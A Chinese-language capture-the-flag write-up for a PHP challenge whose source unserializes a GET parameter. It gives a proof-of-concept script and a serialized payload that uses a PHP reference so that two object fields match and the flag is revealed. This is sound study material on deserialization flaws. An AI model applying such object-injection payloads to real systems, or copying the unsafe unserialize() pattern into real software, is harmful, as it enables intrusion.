CTF-5解题思路

<div class="markdown-body editormd-preview-container" previewcontainer="true" style="padding: 20px;"><h2 id="h2-u6E90u7801"><a name="源码" class="reference-link"></a><span class="header-link octicon octicon-link"></span>源码</h2><pre class="prettyprint linenums prettyprinted" style=""><ol class="linenums"><li class="L0"><code class="lang-php"><span class="pun">&lt;?</span><span class="pln">php</span></code></li><li class="L1"><code class="lang-php"><span class="com">#GOAL: get the secret;</span></code></li><li class="L2"><code class="lang-php"><span class="kwd">class</span><span class="pln"> just4fun </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-php"><span class="pln">    </span><span class="kwd">var</span><span class="pln"> $enter</span><span class="pun">;</span></code></li><li class="L4"><code class="lang-php"><span class="pln">    </span><span class="kwd">var</span><span class="pln"> $secret</span><span class="pun">;</span></code></li><li class="L5"><code class="lang-php"><span class="pun">}</span></code></li><li class="L6"><code class="lang-php"></code></li><li class="L7"><code class="lang-php"><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">isset</span><span class="pun">(</span><span class="pln">$_GET</span><span class="pun">[</span><span class="str">'pass'</span><span class="pun">]))</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code class="lang-php"><span class="pln">    $pass </span><span class="pun">=</span><span class="pln"> $_GET</span><span class="pun">[</span><span class="str">'pass'</span><span class="pun">];</span></code></li><li class="L9"><code class="lang-php"></code></li><li class="L0"><code class="lang-php"><span class="pln">    </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">get_magic_quotes_gpc</span><span class="pun">()){</span></code></li><li class="L1"><code class="lang-php"><span class="pln">        $pass</span><span class="pun">=</span><span class="pln">stripslashes</span><span class="pun">(</span><span class="pln">$pass</span><span class="pun">);</span></code></li><li class="L2"><code class="lang-php"><span class="pln">    </span><span class="pun">}</span></code></li><li class="L3"><code class="lang-php"></code></li><li class="L4"><code class="lang-php"><span class="pln">    $o </span><span class="pun">=</span><span class="pln"> unserialize</span><span class="pun">(</span><span class="pln">$pass</span><span class="pun">);</span></code></li><li class="L5"><code class="lang-php"></code></li><li class="L6"><code class="lang-php"><span class="pln">    </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$o</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code class="lang-php"><span class="pln">        $o</span><span class="pun">-&gt;</span><span class="pln">secret </span><span class="pun">=</span><span class="pln"> </span><span class="str">"flag{I'm xxxxxxxxxxxxxxxxxxxxxxxxxxxx}"</span><span class="pun">;</span></code></li><li class="L8"><code class="lang-php"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$o</span><span class="pun">-&gt;</span><span class="pln">secret </span><span class="pun">===</span><span class="pln"> $o</span><span class="pun">-&gt;</span><span class="pln">enter</span><span class="pun">)</span></code></li><li class="L9"><code class="lang-php"><span class="pln">         echo </span><span class="str">"Congratulation! Here is my secret: "</span><span class="pun">.</span><span class="pln">$o</span><span class="pun">-&gt;</span><span class="pln">secret</span><span class="pun">;</span></code></li><li class="L0"><code class="lang-php"><span class="pln">        </span><span class="kwd">else</span></code></li><li class="L1"><code class="lang-php"><span class="pln">         echo </span><span class="str">"Oh no... You can't fool me"</span><span class="pun">;</span></code></li><li class="L2"><code class="lang-php"><span class="pln">    </span><span class="pun">}</span></code></li><li class="L3"><code class="lang-php"><span class="pln">    </span><span class="kwd">else</span><span class="pln"> echo </span><span class="str">"are you trolling?"</span><span class="pun">;</span></code></li><li class="L4"><code class="lang-php"><span class="pun">}</span></code></li><li class="L5"><code class="lang-php"><span class="pun">?&gt;</span></code></li></ol></pre>
<p><strong>可以看到存在反序列化</strong><code>$o = unserialize($pass);</code><br><strong>需要对pass传参，一个序列化的对象，使其能够满足</strong><br><code>$o-&gt;secret === $o-&gt;enter</code></p>
<h2 id="h2-poc-"><a name="POC:" class="reference-link"></a><span class="header-link octicon octicon-link"></span>POC:</h2><pre class="prettyprint linenums prettyprinted" style=""><ol class="linenums"><li class="L0"><code class="lang-php"><span class="pun">&lt;?</span><span class="pln">php</span></code></li><li class="L1"><code class="lang-php"><span class="kwd">class</span><span class="pln"> just4fun </span><span class="pun">{</span></code></li><li class="L2"><code class="lang-php"><span class="pln">    </span><span class="kwd">var</span><span class="pln"> $enter</span><span class="pun">;</span></code></li><li class="L3"><code class="lang-php"><span class="pln">    </span><span class="kwd">var</span><span class="pln"> $secret</span><span class="pun">;</span></code></li><li class="L4"><code class="lang-php"><span class="pun">}</span></code></li><li class="L5"><code class="lang-php"><span class="pln">$pass </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> just4fun</span><span class="pun">();</span></code></li><li class="L6"><code class="lang-php"><span class="pln">$pass</span><span class="pun">-&gt;</span><span class="pln">enter </span><span class="pun">=</span><span class="pln"> </span><span class="pun">&amp;</span><span class="pln">$pass</span><span class="pun">-&gt;</span><span class="pln">secret</span><span class="pun">;</span></code></li><li class="L7"><code class="lang-php"><span class="pun">?&gt;</span></code></li></ol></pre>
<h2 id="h2-payload-"><a name="payload:" class="reference-link"></a><span class="header-link octicon octicon-link"></span>payload:</h2><pre class="prettyprint linenums prettyprinted" style=""><ol class="linenums"><li class="L0"><code class="lang-php"><span class="pun">?</span><span class="kwd">pass</span><span class="pun">=</span><span class="pln">O</span><span class="pun">:</span><span class="lit">8</span><span class="pun">:</span><span class="str">"just4fun"</span><span class="pun">:</span><span class="lit">2</span><span class="pun">:{</span><span class="pln">s</span><span class="pun">:</span><span class="lit">5</span><span class="pun">:</span><span class="str">"enter"</span><span class="pun">;</span><span class="pln">N</span><span class="pun">;</span><span class="pln">s</span><span class="pun">:</span><span class="lit">6</span><span class="pun">:</span><span class="str">"secret"</span><span class="pun">;</span><span class="pln">R</span><span class="pun">:</span><span class="lit">2</span><span class="pun">;}</span></code></li></ol></pre>
</div>